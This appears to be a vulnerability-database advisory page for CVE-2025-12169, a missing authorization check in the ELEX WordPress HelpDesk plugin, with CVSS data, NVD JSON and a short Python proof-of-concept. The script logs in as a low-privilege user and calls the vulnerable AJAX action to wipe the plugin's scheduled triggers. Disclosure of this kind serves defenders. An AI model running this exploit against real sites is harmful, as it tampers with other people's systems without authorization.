Security Vulnerability Report
中文
CVE-2025-12169 CVSS 4.3 MEDIUM

CVE-2025-12169

Published: 2025-11-21 06:15:48
Last Modified: 2025-12-03 18:29:07

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_eh_crm_settings_empty_scheduled_actions' AJAX Action in all versions up to, and including, 3.3.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to clear the scheduled triggers option.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12169 PoC # ELEX WordPress HelpDesk - Unauthorized scheduled actions clearing target_url = input("Enter target URL: ").strip().rstrip('/') username = input("Enter username: ").strip() password = input("Enter password: ").strip() session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Attempting to login...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in str(session.cookies) and response.status_code == 302: print("[-] Login may have failed. Check credentials.") sys.exit(1) print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX action ajax_url = f"{target_url}/wp-admin/admin-ajax.php" ajax_data = { 'action': 'eh_crm_settings_empty_scheduled_actions' } print("[*] Sending exploit request to clear scheduled actions...") exploit_response = session.post(ajax_url, data=ajax_data) # Step 3: Check response if exploit_response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {exploit_response.text[:200]}") print("[!] Scheduled triggers have been cleared.") else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12169", "sourceIdentifier": "[email protected]", "published": "2025-11-21T06:15:48.037", "lastModified": "2025-12-03T18:29:07.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_eh_crm_settings_empty_scheduled_actions' AJAX Action in all versions up to, and including, 3.3.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to clear the scheduled triggers option."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.1", "matchCriteriaId": "0501906E-5A9F-4C24-8950-9B718F3A9C5C"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3391816", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae2ac493-e6df-4083-8601-65635ad342b2?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}